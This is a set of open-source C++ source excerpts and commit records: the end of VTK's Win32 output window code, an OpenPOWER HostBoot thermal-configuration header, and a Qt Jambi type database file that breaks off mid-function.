lpParam.hwndParent = win;\n lpParam.cx = 800;\n lpParam.cy = 512;\n lpParam.x = 0;\n lpParam.y = 0;\n#if defined(_WIN32_WCE) || defined(UNICODE)\n lpParam.lpszName = L\"Output Control\";\n lpParam.lpszClass = L\"EDIT\"; \/\/ use the RICHEDIT control widget\n#else\n lpParam.lpszName = \"Output Control\";\n lpParam.lpszClass = \"EDIT\"; \/\/ use the RICHEDIT control widget\n#endif\n\n#ifdef _WIN32_WCE\n lpParam.style = ES_MULTILINE | ES_READONLY | WS_CHILD\n | ES_AUTOVSCROLL | ES_AUTOHSCROLL | WS_VISIBLE\n | WS_VSCROLL | WS_HSCROLL;\n#else\n lpParam.style = ES_MULTILINE | ES_READONLY | WS_CHILD\n | ES_AUTOVSCROLL | ES_AUTOHSCROLL | WS_VISIBLE | WS_MAXIMIZE\n | WS_VSCROLL | WS_HSCROLL;\n#endif\n\n lpParam.dwExStyle = 0;\n \/\/ Create the EDIT window as a child of win\n#if defined(_WIN32_WCE) || defined(UNICODE)\n vtkWin32OutputWindowOutputWindow = CreateWindow(\n lpParam.lpszClass, \/\/ pointer to registered class name\n L\"\", \/\/ pointer to window name\n lpParam.style, \/\/ window style\n lpParam.x, \/\/ horizontal position of window\n lpParam.y, \/\/ vertical position of window\n lpParam.cx, \/\/ window width\n lpParam.cy, \/\/ window height\n lpParam.hwndParent, \/\/ handle to parent or owner window\n NULL, \/\/ handle to menu or child-window identifier\n lpParam.hInstance, \/\/ handle to application instance\n &lpParam \/\/ pointer to window-creation data\n );\n#else\n vtkWin32OutputWindowOutputWindow = CreateWindow(\n lpParam.lpszClass, \/\/ pointer to registered class name\n \"\", \/\/ pointer to window name\n lpParam.style, \/\/ window style\n lpParam.x, \/\/ horizontal position of window\n lpParam.y, \/\/ vertical position of window\n lpParam.cx, \/\/ window width\n lpParam.cy, \/\/ window height\n lpParam.hwndParent, \/\/ handle to parent or owner window\n NULL, \/\/ handle to menu or child-window identifier\n lpParam.hInstance, \/\/ handle to application instance\n &lpParam \/\/ pointer to window-creation data\n );\n#endif\n\n const int maxsize = 5242880;\n\n#ifdef UNICODE\n SendMessageW(vtkWin32OutputWindowOutputWindow,\n EM_LIMITTEXT, maxsize, 0L);\n#else\n SendMessageA(vtkWin32OutputWindowOutputWindow,\n EM_LIMITTEXT, maxsize, 0L);\n#endif\n\n\n \/\/ show the top level container window\n ShowWindow(win, SW_SHOW);\n return 1;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkWin32OutputWindow::PromptText(const char* someText)\n{\n char *vtkmsg = new char [strlen(someText) + 100];\n sprintf(vtkmsg,\"%s\\nPress Cancel to suppress any further messages.\",\n someText);\n#ifdef UNICODE\n wchar_t *wmsg = new wchar_t [mbstowcs(NULL, vtkmsg, 32000)+1];\n mbstowcs(wmsg, vtkmsg, 32000);\n if (MessageBox(NULL, wmsg, L\"Error\",\n MB_ICONERROR | MB_OKCANCEL) == IDCANCEL)\n {\n vtkObject::GlobalWarningDisplayOff();\n }\n delete [] wmsg;\n#else\n if (MessageBox(NULL, vtkmsg, \"Error\",\n MB_ICONERROR | MB_OKCANCEL) == IDCANCEL)\n {\n vtkObject::GlobalWarningDisplayOff();\n }\n#endif\n delete [] vtkmsg;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkWin32OutputWindow::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->Superclass::PrintSelf(os,indent);\n\n if (vtkWin32OutputWindowOutputWindow)\n {\n os << indent << \"OutputWindow: \"\n << vtkWin32OutputWindowOutputWindow << \"\\n\";\n }\n else\n {\n os << indent << \"OutputWindow: (null)\\n\";\n }\n\n os << indent << \"SendToStdErr: \" << this->SendToStdErr << \"\\n\";\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9a\/procedures\/hwp\/memory\/p9a_mss_eff_config_thermal.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2018,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n<commit_msg>Add L1 procedures for p9a and makefiles<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9a\/procedures\/hwp\/memory\/p9a_mss_eff_config_thermal.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2018,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9a_mss_eff_config_thermal.H\n\/\/\/ @brief Perform thermal calculations as part of the effective configuration\n\/\/\/\n\/\/ *HWP HWP Owner: Andre A. Marin <aamarin@us.ibm.com>\n\/\/ *HWP HWP Backup: Michael Pardeik <pardeik@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 1\n\/\/ *HWP Consumed by: FSP:HB\n\n#ifndef P9A_MSS_EFF_CONFIG_THERMAL_H_\n#define P9A_MSS_EFF_CONFIG_THERMAL_H_\n\n#include <fapi2.H>\n#include <vector>\n\ntypedef fapi2::ReturnCode (*p9a_mss_eff_config_thermal_FP_t) (const std::vector\n <fapi2::Target<fapi2::TARGET_TYPE_MEM_PORT>>&);\n\nextern \"C\"\n{\n\n \/\/\/\n \/\/\/ @brief Perform thermal calculations as part of the effective configuration\n \/\/\/ @param[in] i_targets vector of ports (e.g., MEM_PORT) all on the same VDDR domain\n \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n \/\/\/ @note sets ATTR_MSS_MEM_WATT_TARGET, ATTR_MSS_RUNTIME_MEM_THROTTLED_N_COMMANDS_PER_PORT and _PER_SLOT, and ATTR_MSS_PORT_MAXPOWER\n \/\/\/\n fapi2::ReturnCode p9a_mss_eff_config_thermal( const std::vector< fapi2::Target<fapi2::TARGET_TYPE_MEM_PORT> >&\n i_targets );\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\n#include \"typedatabase.h\"\n#include \"..\/customtypes.h\"\n\n#include <QDebug>\n\n#include <qfile.h>\n#include <qxml.h>\n#include \"handler.h\"\n#include \"..\/reporthandler.h\"\n\nstatic void addRemoveFunctionToTemplates(TypeDatabase *db);\n\nTypeDatabase::TypeDatabase() : m_suppressWarnings(true), m_includeEclipseWarnings(false) {\n addType(new StringTypeEntry(\"QString\"));\n\n StringTypeEntry *e = new StringTypeEntry(\"QLatin1String\");\n e->setPreferredConversion(false);\n addType(e);\n\n \/\/ We need the generator to perform type conversion in C++ with the\n \/\/ construct:\n \/\/ QString qstring = QString(\"string\"); QStringRef(&qstring)\"\n \/\/ not with:\n \/\/ (const QStringRef &)QString(\"string\")\n StringRefTypeEntry *sr = new StringRefTypeEntry(\"QStringRef\");\n addType(sr);\n \/\/ TODO: Use of StringRefTypeEntry for QXmlStreamStringRef has not been tested,\n \/\/ I am sure the previous code would cause a crash.\n sr = new StringRefTypeEntry(\"QXmlStreamStringRef\");\n sr->setPreferredConversion(false);\n addType(sr);\n\n addType(new CharTypeEntry(\"QChar\"));\n\n CharTypeEntry *c = new CharTypeEntry(\"QLatin1Char\");\n c->setPreferredConversion(false);\n addType(c);\n\n {\n VariantTypeEntry *qvariant = new VariantTypeEntry(\"QVariant\");\n qvariant->setCodeGeneration(TypeEntry::GenerateNothing);\n addType(qvariant);\n }\n\n {\n JObjectWrapperTypeEntry *wrapper = new JObjectWrapperTypeEntry(\"JObjectWrapper\");\n wrapper->setCodeGeneration(TypeEntry::GenerateNothing);\n addType(wrapper);\n }\n\n addType(new ThreadTypeEntry());\n addType(new VoidTypeEntry());\n\n \/\/ Predefined containers...\n addType(new ContainerTypeEntry(\"QList\", ContainerTypeEntry::ListContainer));\n addType(new ContainerTypeEntry(\"QStringList\", ContainerTypeEntry::StringListContainer));\n addType(new ContainerTypeEntry(\"QLinkedList\", ContainerTypeEntry::LinkedListContainer));\n addType(new ContainerTypeEntry(\"QVector\", ContainerTypeEntry::VectorContainer));\n addType(new ContainerTypeEntry(\"QStack\", ContainerTypeEntry::StackContainer));\n addType(new ContainerTypeEntry(\"QSet\", ContainerTypeEntry::SetContainer));\n addType(new ContainerTypeEntry(\"QMap\", ContainerTypeEntry::MapContainer));\n addType(new ContainerTypeEntry(\"QHash\", ContainerTypeEntry::HashContainer));\n addType(new ContainerTypeEntry(\"QPair\", ContainerTypeEntry::PairContainer));\n addType(new ContainerTypeEntry(\"QQueue\", ContainerTypeEntry::QueueContainer));\n addType(new ContainerTypeEntry(\"QMultiMap\", ContainerTypeEntry::MultiMapContainer));\n\n \/\/ Custom types...\n addType(new QModelIndexTypeEntry());\n\n addRemoveFunctionToTemplates(this);\n}\n\nTypeDatabase *TypeDatabase::instance() {\n static TypeDatabase *db = new TypeDatabase();\n return db;\n}\n\nTypeEntry *TypeDatabase::findType(const QString &name) const {\n QList<TypeEntry *> entries = findTypes(name);\n foreach(TypeEntry *entry, entries) {\n \/\/qDebug()<<\"findType()\"<<entry;\n if (entry != 0 &&\n (!entry->isPrimitive() ||\n static_cast<PrimitiveTypeEntry *>(entry)->preferredTargetLangType())) {\n return entry;\n }\n }\n return 0;\n}\n\nSingleTypeEntryHash TypeDatabase::entries() {\n TypeEntryHash entries = allEntries();\n\n SingleTypeEntryHash returned;\n QList<QString> keys = entries.keys();\n\n foreach(QString key, keys) {\n returned[key] = findType(key);\n }\n\n return returned;\n}\n\nbool TypeDatabase::isSuppressedWarning(const QString &s) {\n if (!m_suppressWarnings)\n return false;\n\n foreach(const QString &_warning, m_suppressedWarnings) {\n QString warning(QString(_warning).replace(\"\\\\*\", \"&place_holder_for_asterisk;\"));\n\n QStringList segs = warning.split(\"*\", QString::SkipEmptyParts);\n if (segs.size() == 0)\n continue ;\n\n int i = 0;\n int pos = s.indexOf(QString(segs.at(i++)).replace(\"&place_holder_for_asterisk;\", \"*\"));\n \/\/qDebug() << \"s == \" << s << \", warning == \" << segs;\n while (pos != -1) {\n if (i == segs.size())\n return true;\n pos = s.indexOf(QString(segs.at(i++)).replace(\"&place_holder_for_asterisk;\", \"*\"), pos);\n }\n }\n\n return false;\n}\n\nPrimitiveTypeEntry *TypeDatabase::findPrimitiveType(const QString &name) {\n QList<TypeEntry *> entries = findTypes(name);\n\n foreach(TypeEntry *entry, entries) {\n if (entry != 0 && entry->isPrimitive() && static_cast<PrimitiveTypeEntry *>(entry)->preferredTargetLangType())\n return static_cast<PrimitiveTypeEntry *>(entry);\n }\n\n return 0;\n}\n\nComplexTypeEntry *TypeDatabase::findComplexType(const QString &name) {\n TypeEntry *entry = findType(name);\n if (entry != 0 && entry->isComplex())\n return static_cast<ComplexTypeEntry *>(entry);\n else\n return 0;\n}\n\nObjectTypeEntry *TypeDatabase::findObjectType(const QString &name) {\n TypeEntry *entry = findType(name);\n if (entry != 0 && entry->isObject())\n return static_cast<ObjectTypeEntry *>(entry);\n else\n return 0;\n}\n\nNamespaceTypeEntry *TypeDatabase::findNamespaceType(const QString &name) {\n TypeEntry *entry = findType(name);\n if (entry != 0 && entry->isNamespace())\n return static_cast<NamespaceTypeEntry *>(entry);\n else\n return 0;\n}\n\nbool TypeDatabase::parseFile(const QString &filename, const QString &importInputDirectory, bool generate) {\n qDebug() << \"Parsing file: \" << filename;\n QFile file(filename);\n Q_ASSERT(file.exists());\n QXmlInputSource source(&file);\n\n int count = m_entries.size();\n\n QXmlSimpleReader reader;\n Handler handler(this, generate);\n if (!importInputDirectory.isNull())\n handler.setImportInputDirectory(importInputDirectory);\n\n reader.setContentHandler(&handler);\n reader.setErrorHandler(&handler);\n\n bool ok = reader.parse(&source, false);\n int newCount = m_entries.size();\n\n QString string = QString::fromLatin1(\"Parsed: '%1', %2 new entries\")\n .arg(filename)\n .arg(newCount - count);\n qDebug() << string;\n \/\/ReportHandler::debugSparse(string);\n\n return ok;\n}\n\nContainerTypeEntry *TypeDatabase::findContainerType(const QString &name) {\n QString template_name = name;\n\n int pos = name.indexOf('<');\n if (pos > 0)\n template_name = name.left(pos);\n\n TypeEntry *type_entry = findType(template_name);\n if (type_entry && type_entry->isContainer())\n return static_cast<ContainerTypeEntry *>(type_entry);\n return 0;\n}\n\nPrimitiveTypeEntry *TypeDatabase::findTargetLangPrimitiveType(const QString &java_name) {\n foreach(QList<TypeEntry *> entries, m_entries.values()) {\n foreach(TypeEntry *e, entries) {\n if (e && e->isPrimitive()) {\n PrimitiveTypeEntry *pe = static_cast<PrimitiveTypeEntry *>(e);\n if (pe->targetLangName() == java_name && pe->preferredConversion())\n return pe;\n }\n }\n }\n\n return 0;\n}\n\nIncludeList TypeDatabase::extraIncludes(const QString &className) {\n ComplexTypeEntry *typeEntry = findComplexType(className);\n if (typeEntry != 0)\n return typeEntry->extraIncludes();\n else\n return IncludeList();\n}\n\nvoid TypeDatabase::addRejection(const QString &class_name, const QString &function_name,\n const QString &field_name, const QString &enum_name) {\n TypeRejection r;\n r.class_name = class_name;\n r.function_name = function_name;\n r.field_name = field_name;\n r.enum_name = enum_name;\n\n m_rejections << r;\n}\n\nbool TypeDatabase::isClassRejected(const QString &class_name) {\n if (!m_rebuild_classes.isEmpty())\n return !m_rebuild_classes.contains(class_name);\n\n foreach(const TypeRejection &r, m_rejections)\n if (r.class_name == class_name && r.function_name == \"*\" && r.field_name == \"*\" && r.enum_name == \"*\") {\n return true;\n }\n return false;\n}\n\nbool TypeDatabase::isEnumRejected(const QString &class_name, const QString &enum_name) {\n foreach(const TypeRejection &r, m_rejections) {\n if (r.enum_name == enum_name\n && (r.class_name == class_name || r.class_name == \"*\")) {\n return true;\n }\n }\n\n return false;\n}\n\nbool TypeDatabase::isFunctionRejected(const QString &class_name, const QString &function_name) {\n foreach(const TypeRejection &r, m_rejections)\n if (r.function_name == function_name &&\n (r.class_name == class_name || r.class_name == \"*\"))\n return true;\n return false;\n}\n\n\nbool TypeDatabase::isFieldRejected(const QString &class_name, const QString &field_name) {\n foreach(const TypeRejection &r, m_rejections)\n if (r.field_name == field_name &&\n (r.class_name == class_name || r.class_name == \"*\"))\n return true;\n return false;\n}\n\nFlagsTypeEntry *TypeDatabase::findFlagsType(const QString &name) const {\n FlagsTypeEntry *fte = (FlagsTypeEntry *) findType(name);\n return fte ? fte : (FlagsTypeEntry *) m_flags_entries.value(name);\n}\n\nQString TypeDatabase::globalNamespaceClassName(const TypeEntry * \/*entry*\/) {\n return QLatin1String(\"Global\");\n}\n\nstatic void removeFunction(ComplexTypeEntry *e, const char *signature) {\n FunctionModification mod;\n mod.signature = QMetaObject::normalizedSignature(signature);\n mod.removal = TypeSystem::All;\n\n e->addFunctionModification(mod);\n}\n\nstatic void injectCode(ComplexTypeEntry *e,\n const char *signature,\n const QByteArray &code,\n const ArgumentMap &args) {\n CodeSnip snip;\n snip.language = TypeSystem::NativeCode;\n snip.position = CodeSnip::Beginning;\n snip.addCode(QString::fromLatin1(code));\n snip.argumentMap = args;\n\n FunctionModification mod;\n mod.signature = QMetaObject::normalizedSignature(signature);\n mod.snips << snip;\n mod.modifiers = Modification::CodeInjection;\n e->addFunctionModification(mod);\n}\n\n\nstatic void addRemoveFunctionToTemplates(TypeDatabase *db) {\n ContainerTypeEntry *qvector = db->findContainerType(QLatin1String(\"QVector\"));\n removeFunction(qvector, \"constData() const\");\n removeFunction(qvector, \"data() const\");\n removeFunction(qvector, \"data()\");\n removeFunction(qvector, \"first()\");\n removeFunction(qvector, \"last()\");\n removeFunction(qvector, \"operator[](int)\");\n removeFunction(qvector, \"operator[](int) const\");\n removeFunction(qvector, \"operator=(QVector<T>)\");\n\n ContainerTypeEntry *qlist = db->findContainerType(QLatin1String(\"QList\"));\n removeFunction(qlist, \"constData() const\");\n removeFunction(qlist, \"data() const\");\n removeFunction(qlist, \"data()\");\n removeFunction(qlist, \"back()\");\n removeFunction(qlist, \"front()\");\n removeFunction(qlist, \"first()\");\n removeFunction(qlist, \"last()\");\n removeFunction(qlist, \"operator[](int)\");\n removeFunction(qlist, \"operator[](int) const\");\n removeFunction(qlist, \"operator=(QList<T>)\");\n\n ContainerTypeEntry *qqueue = db->findContainerType(QLatin1String(\"QQueue\"));\n removeFunction(qqueue, \"head() const\");\n\n ArgumentMap args1;\n args1[1] = QLatin1String(\"$1\");\n ArgumentMap args2 = args1;\n args2[2] = QLatin1String(\"$2\");\n\n QByteArray code =\n \"\\nif ($1 >= __qt_this->size() || $1 < 0) {\"\n \"\\n __jni_env->ThrowNew(__jni_env->FindClass(\\\"java\/lang\/IndexOutOfBoundsException\\\"),\"\n \"\\n QString::fromLatin1(\\\"Accessing container of size %3 at %4\\\")\"\n \"\\n .arg(__qt_this->size()).arg($1).toLatin1());\"\n \"\\n return;\"\n \"\\n}\";\n\n QByteArray code_with_return = QByteArray(code).replace(\"return;\", \"return 0;\");\n\n QByteArray code_index_length =\n \"\\nif ($1 < 0 || $2 < 0 || ($1 + $2) >= __qt_this->size()) {\"\n \"\\n __jni_env->ThrowNew(__jni_env->FindClass(\\\"java\/lang\/IndexOutOfBoundsException\\\"),\"\n \"\\n QString::fromLatin1(\\\"Accessing container of size %3 from %4 to %5\\\")\"\n \"\\n .arg(__qt_this->size()).arg($1).arg($1+$2).toLatin1());\"\n \"\\n return;\"\n \"\\n}\";\n\n QByteArray code_non_empty =\n \"\\nif (__qt_this->isEmpty()) {\"\n \"\\n __jni_env->ThrowNew(__jni_env->FindClass(\\\"java\/lang\/IndexOutOfBoundsException\\\"),\"\n \"\\n QString::fromLatin1(\\\"Accessing empty container...\\\").toLatin1());\"\n \"\\n return;\"\n \"\\n}\";\n\n QByteArray code_two_indices =\n \"\\nif ($1 < 0 || $2 < 0 || $1 >= __qt_this->size() || $2 >= __qt_this->size()) {\"\n \"\\n __jni_env->ThrowNew(__jni_env->FindClass(\\\"java\/lang\/IndexOutOfBoundsException\\\"),\"\n \"\\n QString::fromLatin1(\\\"Accessing container of size %3 at %4 and at %5\\\")\"\n \"\\n .arg(__qt_this->size()).arg($1).arg($1+$2).toLatin1());\"\n \"\\n return;\"\n \"\\n}\";\n\n { \/\/ QVector safty...\n injectCode(qvector, \"at(int) const\", code_with_return, args1);\n injectCode(qvector, \"replace(int,T)\", code, args1);\n injectCode(qvector, \"remove(int)\", code, args1);\n injectCode(qvector, \"remove(int, int)\", code_index_length, args2);\n injectCode(qvector, \"pop_back()\", code_non_empty, ArgumentMap());\n injectCode(qvector, \"pop_front()\", code_non_empty, ArgumentMap());\n }\n\n { \/\/ QList safty...\n injectCode(qlist, \"at(int) const\", code_with_return, args1);\n injectCode(qlist, \"replace(int, T)\", code, args1);\n injectCode(qlist, \"pop_back()\", code_non_empty, ArgumentMap());\n injectCode(qlist, \"pop_front()\", code_non_empty, ArgumentMap());\n injectCode(qlist, \"swap(int, int)\", code_two_indices, args2);\n injectCode(qlist, \"move(int, int)\", code_two_indices, args2);\n injectCode(qlist, \"removeAt(int)\", code, args1);\n injectCode(qlist, \"takeAt(int)\", code_with_return, args1);\n }\n\n}\n\n<commit_msg>(split) remove extra addition from exception message text so that message text has correct values<commit_after>\n#include \"typedatabase.h\"\n#include \"..\/customtypes.h\"\n\n#include <QDebug>\n\n#include <qfile.h>\n#include <qxml.h>\n#include \"handler.h\"\n#include \"..\/reporthandler.h\"\n\nstatic void addRemoveFunctionToTemplates(TypeDatabase *db);\n\nTypeDatabase::TypeDatabase() : m_suppressWarnings(true), m_includeEclipseWarnings(false) {\n addType(new StringTypeEntry(\"QString\"));\n\n StringTypeEntry *e = new StringTypeEntry(\"QLatin1String\");\n e->setPreferredConversion(false);\n addType(e);\n\n \/\/ We need the generator to perform type conversion in C++ with the\n \/\/ construct:\n \/\/ QString qstring = QString(\"string\"); QStringRef(&qstring)\"\n \/\/ not with:\n \/\/ (const QStringRef &)QString(\"string\")\n StringRefTypeEntry *sr = new StringRefTypeEntry(\"QStringRef\");\n addType(sr);\n \/\/ TODO: Use of StringRefTypeEntry for QXmlStreamStringRef has not been tested,\n \/\/ I am sure the previous code would cause a crash.\n sr = new StringRefTypeEntry(\"QXmlStreamStringRef\");\n sr->setPreferredConversion(false);\n addType(sr);\n\n addType(new CharTypeEntry(\"QChar\"));\n\n CharTypeEntry *c = new CharTypeEntry(\"QLatin1Char\");\n c->setPreferredConversion(false);\n addType(c);\n\n {\n VariantTypeEntry *qvariant = new VariantTypeEntry(\"QVariant\");\n qvariant->setCodeGeneration(TypeEntry::GenerateNothing);\n addType(qvariant);\n }\n\n {\n JObjectWrapperTypeEntry *wrapper = new JObjectWrapperTypeEntry(\"JObjectWrapper\");\n wrapper->setCodeGeneration(TypeEntry::GenerateNothing);\n addType(wrapper);\n }\n\n addType(new ThreadTypeEntry());\n addType(new VoidTypeEntry());\n\n \/\/ Predefined containers...\n addType(new ContainerTypeEntry(\"QList\", ContainerTypeEntry::ListContainer));\n addType(new ContainerTypeEntry(\"QStringList\", ContainerTypeEntry::StringListContainer));\n addType(new ContainerTypeEntry(\"QLinkedList\", ContainerTypeEntry::LinkedListContainer));\n addType(new ContainerTypeEntry(\"QVector\", ContainerTypeEntry::VectorContainer));\n addType(new ContainerTypeEntry(\"QStack\", ContainerTypeEntry::StackContainer));\n addType(new ContainerTypeEntry(\"QSet\", ContainerTypeEntry::SetContainer));\n addType(new ContainerTypeEntry(\"QMap\", ContainerTypeEntry::MapContainer));\n addType(new ContainerTypeEntry(\"QHash\", ContainerTypeEntry::HashContainer));\n addType(new ContainerTypeEntry(\"QPair\", ContainerTypeEntry::PairContainer));\n addType(new ContainerTypeEntry(\"QQueue\", ContainerTypeEntry::QueueContainer));\n addType(new ContainerTypeEntry(\"QMultiMap\", ContainerTypeEntry::MultiMapContainer));\n\n \/\/ Custom types...\n addType(new QModelIndexTypeEntry());\n\n addRemoveFunctionToTemplates(this);\n}\n\nTypeDatabase *TypeDatabase::instance() {\n static TypeDatabase *db = new TypeDatabase();\n return db;\n}\n\nTypeEntry *TypeDatabase::findType(const QString &name) const {\n QList<TypeEntry *> entries = findTypes(name);\n foreach(TypeEntry *entry, entries) {\n \/\/qDebug()<<\"findType()\"<<entry;\n if (entry != 0 &&\n (!entry->isPrimitive() ||\n static_cast<PrimitiveTypeEntry *>(entry)->preferredTargetLangType())) {\n return entry;\n }\n }\n return 0;\n}\n\nSingleTypeEntryHash TypeDatabase::entries() {\n TypeEntryHash entries = allEntries();\n\n SingleTypeEntryHash returned;\n QList<QString> keys = entries.keys();\n\n foreach(QString key, keys) {\n returned[key] = findType(key);\n }\n\n return returned;\n}\n\nbool TypeDatabase::isSuppressedWarning(const QString &s) {\n if (!m_suppressWarnings)\n return false;\n\n foreach(const QString &_warning, m_suppressedWarnings) {\n QString warning(QString(_warning).replace(\"\\\\*\", \"&place_holder_for_asterisk;\"));\n\n QStringList segs = warning.split(\"*\", QString::SkipEmptyParts);\n if (segs.size() == 0)\n continue ;\n\n int i = 0;\n int pos = s.indexOf(QString(segs.at(i++)).replace(\"&place_holder_for_asterisk;\", \"*\"));\n \/\/qDebug() << \"s == \" << s << \", warning == \" << segs;\n while (pos != -1) {\n if (i == segs.size())\n return true;\n pos = s.indexOf(QString(segs.at(i++)).replace(\"&place_holder_for_asterisk;\", \"*\"), pos);\n }\n }\n\n return false;\n}\n\nPrimitiveTypeEntry *TypeDatabase::findPrimitiveType(const QString &name) {\n QList<TypeEntry *> entries = findTypes(name);\n\n foreach(TypeEntry *entry, entries) {\n if (entry != 0 && entry->isPrimitive() && static_cast<PrimitiveTypeEntry *>(entry)->preferredTargetLangType())\n return static_cast<PrimitiveTypeEntry *>(entry);\n }\n\n return 0;\n}\n\nComplexTypeEntry *TypeDatabase::findComplexType(const QString &name) {\n TypeEntry *entry = findType(name);\n if (entry != 0 && entry->isComplex())\n return static_cast<ComplexTypeEntry *>(entry);\n else\n return 0;\n}\n\nObjectTypeEntry *TypeDatabase::findObjectType(const QString &name) {\n TypeEntry *entry = findType(name);\n if (entry != 0 && entry->isObject())\n return static_cast<ObjectTypeEntry *>(entry);\n else\n return 0;\n}\n\nNamespaceTypeEntry *TypeDatabase::findNamespaceType(const QString &name) {\n TypeEntry *entry = findType(name);\n if (entry != 0 && entry->isNamespace())\n return static_cast<NamespaceTypeEntry *>(entry);\n else\n return 0;\n}\n\nbool TypeDatabase::parseFile(const QString &filename, const QString &importInputDirectory, bool generate) {\n qDebug() << \"Parsing file: \" << filename;\n QFile file(filename);\n Q_ASSERT(file.exists());\n QXmlInputSource source(&file);\n\n int count = m_entries.size();\n\n QXmlSimpleReader reader;\n Handler handler(this, generate);\n if (!importInputDirectory.isNull())\n handler.setImportInputDirectory(importInputDirectory);\n\n reader.setContentHandler(&handler);\n reader.setErrorHandler(&handler);\n\n bool ok = reader.parse(&source, false);\n int newCount = m_entries.size();\n\n QString string = QString::fromLatin1(\"Parsed: '%1', %2 new entries\")\n .arg(filename)\n .arg(newCount - count);\n qDebug() << string;\n \/\/ReportHandler::debugSparse(string);\n\n return ok;\n}\n\nContainerTypeEntry *TypeDatabase::findContainerType(const QString &name) {\n QString template_name = name;\n\n int pos = name.indexOf('<');\n if (pos > 0)\n template_name = name.left(pos);\n\n TypeEntry *type_entry = findType(template_name);\n if (type_entry && type_entry->isContainer())\n return static_cast<ContainerTypeEntry *>(type_entry);\n return 0;\n}\n\nPrimitiveTypeEntry *TypeDatabase::findTargetLangPrimitiveType(const QString &java_name) {\n foreach(QList<TypeEntry *> entries, m_entries.values()) {\n foreach(TypeEntry *e, entries) {\n if (e && e->isPrimitive()) {\n PrimitiveTypeEntry *pe = static_cast<PrimitiveTypeEntry *>(e);\n if (pe->targetLangName() == java_name && pe->preferredConversion())\n return pe;\n }\n }\n }\n\n return 0;\n}\n\nIncludeList TypeDatabase::extraIncludes(const QString &className) {\n ComplexTypeEntry *typeEntry = findComplexType(className);\n if (typeEntry != 0)\n return typeEntry->extraIncludes();\n else\n return IncludeList();\n}\n\nvoid TypeDatabase::addRejection(const QString &class_name, const QString &function_name,\n const QString &field_name, const QString &enum_name) {\n TypeRejection r;\n r.class_name = class_name;\n r.function_name = function_name;\n r.field_name = field_name;\n r.enum_name = enum_name;\n\n m_rejections << r;\n}\n\nbool TypeDatabase::isClassRejected(const QString &class_name) {\n if (!m_rebuild_classes.isEmpty())\n return !m_rebuild_classes.contains(class_name);\n\n foreach(const TypeRejection &r, m_rejections)\n if (r.class_name == class_name && r.function_name == \"*\" && r.field_name == \"*\" && r.enum_name == \"*\") {\n return true;\n }\n return false;\n}\n\nbool TypeDatabase::isEnumRejected(const QString &class_name, const QString &enum_name) {\n foreach(const TypeRejection &r, m_rejections) {\n if (r.enum_name == enum_name\n && (r.class_name == class_name || r.class_name == \"*\")) {\n return true;\n }\n }\n\n return false;\n}\n\nbool TypeDatabase::isFunctionRejected(const QString &class_name, const QString &function_name) {\n foreach(const TypeRejection &r, m_rejections)\n if (r.function_name == function_name &&\n (r.class_name == class_name || r.class_name == \"*\"))\n return true;\n return false;\n}\n\n\nbool TypeDatabase::isFieldRejected(const QString &class_name, const QString &field_name) {\n foreach(const TypeRejection &r, m_rejections)\n if (r.field_name == field_name &&\n (r.class_name == class_name || r.class_name == \"*\"))\n return true;\n return false;\n}\n\nFlagsTypeEntry *TypeDatabase::findFlagsType(const QString &name) const {\n FlagsTypeEntry *fte = (FlagsTypeEntry *) findType(name);\n return fte ? fte : (FlagsTypeEntry *) m_flags_entries.value(name);\n}\n\nQString TypeDatabase::globalNamespaceClassName(const TypeEntry * \/*entry*\/) {\n return QLatin1String(\"Global\");\n}\n\nstatic void removeFunction(ComplexTypeEntry *e, const char *signature) {\n FunctionModification mod;\n mod.signature = QMetaObject::normalizedSignature(signature);\n mod.removal = TypeSystem::All;\n\n e->addFunctionModification(mod);\n}\n\nstatic void injectCode(ComplexTypeEntry *e,\n const char *signature,\n const QByteArray &code,\n const ArgumentMap &args) {\n CodeSnip snip;\n snip.language = TypeSystem::NativeCode;\n snip.position = CodeSnip::Beginning;\n snip.addCode(QString::fromLatin1(code));\n snip.argumentMap = args;\n\n FunctionModification mod;\n mod.signature = QMetaObject::normalizedSignature(signature);\n mod.snips << snip;\n mod.modifiers = Modification::CodeInjection;\n e->addFunctionModification(mod);\n}\n\n\nstatic void addRemoveFunctionToTemplates(TypeDatabase *db) {\n ContainerTypeEntry *qvector = 